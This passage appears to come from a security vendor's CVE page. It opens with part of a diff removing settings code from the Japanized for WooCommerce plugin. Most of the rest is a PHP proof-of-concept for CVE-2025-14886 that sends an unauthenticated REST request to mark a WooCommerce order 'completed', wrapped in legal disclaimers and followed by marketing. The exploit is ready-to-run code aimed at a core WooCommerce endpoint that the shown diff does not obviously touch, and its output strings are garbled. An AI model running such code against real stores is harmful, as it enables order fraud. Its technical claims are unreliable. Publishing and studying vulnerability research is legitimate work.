-		$description = $this->jp4wc_plugin->jp4wc_description_check_pattern( $title );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'zip2address', $description, $this->prefix );
-	}
-
-	/**
-	 * Setting Yahoo App ID option.
-	 */
-	public function jp4wc_options_yahoo_app_id() {
-		$title = __( 'Yahoo! APP ID', 'woocommerce-for-japan' );
-		/* translators: %s: Setting title */
-		$description = sprintf( __( 'If you use it a bit for testing, you do not need to enter it here. But if you want to use Automatic zip code entry, you must get and input %s here. Please get it from <a href="https://e.developer.yahoo.co.jp/dashboard/" target="_blank">here</a>.', 'woocommerce-for-japan' ), $title );
-		$this->jp4wc_plugin->jp4wc_input_text( 'yahoo-app-id', $description, 60, '', $this->prefix );
-	}
-
-	/**
-	 * Eliminate the order of addresses option.
-	 */
-	public function jp4wc_options_no_ja() {
-		$description = __( 'Eliminate the order of addresses for Japan.', 'woocommerce-for-japan' );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'no-ja', $description, $this->prefix );
-	}
-
-	/**
-	 * Delivery date designation enable.
-	 */
-	public function jp4wc_delivery_date_designation() {
-		$title       = __( 'Delivery date designation', 'woocommerce-for-japan' );
-		$description = $this->jp4wc_plugin->jp4wc_description_check_pattern( $title );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'delivery-date', $description, $this->prefix );
-	}
-
-	/**
-	 * Delivery date designation required.
-	 */
-	public function jp4wc_delivery_date_required() {
-		$description = __( 'Check here if you want to specify the delivery date as a required.', 'woocommerce-for-japan' );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'delivery-date-required', $description, $this->prefix );
-	}
-
-	/**
-	 * Start date for delivery date.
-	 */
-	public function jp4wc_start

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14886 - Japanized for WooCommerce <= 2.7.17 - Missing Authorization to Unauthenticated Order Status Modification

<?php

$target_url = 'https://vulnerable-site.example.com';
$order_id   = 123; // Replace with a valid WooCommerce order ID

// Construct the vulnerable REST API endpoint
$endpoint = $target_url . '/wp-json/wc/v3/orders/' . $order_id;

// Prepare the payload to change order status to 'completed'
$payload = json_encode(array(
    'status' => 'completed'
));

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Content-Length: ' . strlen($payload)
));

// Execute the request (no authentication required)
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check the response
if ($http_code === 200) {
    echo "[+] SUCCESS: Order #$order_id status modified to 'completed'.n";
    echo "Response: $responsen";
} else {
    echo "[-] FAILED: HTTP $http_coden";
    echo "Response: $responsen";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School